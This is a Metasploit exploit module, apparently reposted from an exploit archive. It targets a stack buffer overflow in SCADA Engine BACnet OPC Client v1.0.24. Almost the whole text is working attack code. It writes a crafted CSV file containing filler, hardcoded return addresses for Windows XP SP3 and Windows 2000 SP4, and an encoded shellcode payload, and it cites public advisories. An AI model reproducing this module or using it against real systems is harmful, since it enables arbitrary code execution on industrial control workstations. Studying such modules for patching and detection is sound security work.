BACnet OPC Client – Local Buffer Overflow (Metasploit) (2)
## # $Id: bacnet_csv.rb 11039 2010-11-14 19:03:24Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'BACnet OPC Client Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in SCADA Engine BACnet OPC Client v1.0.24. When the BACnet OPC Client parses a specially crafted csv file, arbitrary code may be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jeremy Brown', 'MC' ], 'Version' => '$Revision: 11039 $', 'References' => [ [ 'OSVDB', '68096'], [ 'BID', '43289' ], [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-10-264-01.pdf' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'MinNops' => 0, 'MaxNops' => 0, 'Space' => 698, 'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric), 'StackAdjustment' => -3500, 'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff", 'EncoderOptions' => { 'BufferRegister' => 'ECX', }, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3 English', { 'Ret' => 0x77e26323 } ], [ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Sep 16 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new( 'FILENAME', [ false, 'The file name.', 'msf.csv' ]), ], self.class) end def exploit csv = "OPC_TAG_NAME,OBJECT_TYPE,INSTANCE,OBJECT_NAME\n\\" csv << rand_text_alpha_upper(185) csv << [target.ret].pack('V') + rand_text_alpha_upper(4) csv << payload.encoded + rand_text_alpha_upper(750 - payload.encoded.length) csv << "\\scada,0,0,\n" print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(csv) end end |